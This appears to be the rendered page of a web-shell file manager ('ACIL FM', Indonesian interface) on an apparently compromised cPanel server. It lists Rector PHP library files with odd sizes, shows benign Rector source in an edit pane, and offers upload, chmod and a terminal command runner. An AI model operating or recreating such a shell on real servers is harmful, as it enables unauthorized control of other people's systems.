ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Php80/NodeFactory
/
opt
cpanel
ea-wappspector
vendor
rector
rector
rules
Php80
NodeFactory
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
AttrGroupsFactory.php
1.34 MB
chmod
View
DL
Edit
Rename
Delete
MatchArmsFactory.php
791 B
chmod
View
DL
Edit
Rename
Delete
MatchFactory.php
3.2 MB
chmod
View
DL
Edit
Rename
Delete
NestedAttrGroupsFactory.php
2.04 MB
chmod
View
DL
Edit
Rename
Delete
StrStartsWithFuncCallFactory.php
753 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Php80/NodeFactory/NestedAttrGroupsFactory.php
<?php declare (strict_types=1); namespace Rector\Php80\NodeFactory; use PhpParser\Node\AttributeGroup; use PhpParser\Node\Stmt\Use_; use Rector\Php80\ValueObject\NestedDoctrineTagAndAnnotationToAttribute; use Rector\PhpAttribute\NodeFactory\PhpNestedAttributeGroupFactory; final class NestedAttrGroupsFactory { /** * @readonly * @var \Rector\PhpAttribute\NodeFactory\PhpNestedAttributeGroupFactory */ private $phpNestedAttributeGroupFactory; public function __construct(PhpNestedAttributeGroupFactory $phpNestedAttributeGroupFactory) { $this->phpNestedAttributeGroupFactory = $phpNestedAttributeGroupFactory; } /** * @param NestedDoctrineTagAndAnnotationToAttribute[] $nestedDoctrineTagAndAnnotationToAttributes * @param Use_[] $uses * @return AttributeGroup[] */ public function create(array $nestedDoctrineTagAndAnnotationToAttributes, array $uses) : array { $attributeGroups = []; foreach ($nestedDoctrineTagAndAnnotationToAttributes as $nestedDoctrineTagAndAnnotationToAttribute) { $doctrineAnnotationTagValueNode = $nestedDoctrineTagAndAnnotationToAttribute->getDoctrineAnnotationTagValueNode(); $nestedAnnotationToAttribute = $nestedDoctrineTagAndAnnotationToAttribute->getNestedAnnotationToAttribute(); // do not create alternative for the annotation, only unwrap if (!$nestedAnnotationToAttribute->shouldRemoveOriginal()) { // add attributes $attributeGroups[] = $this->phpNestedAttributeGroupFactory->create($doctrineAnnotationTagValueNode, $nestedDoctrineTagAndAnnotationToAttribute->getNestedAnnotationToAttribute(), $uses); } $nestedAttributeGroups = $this->phpNestedAttributeGroupFactory->createNested($doctrineAnnotationTagValueNode, $nestedDoctrineTagAndAnnotationToAttribute->getNestedAnnotationToAttribute()); $attributeGroups = \array_merge($attributeGroups, $nestedAttributeGroups); } return \array_unique($attributeGroups, \SORT_REGULAR); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply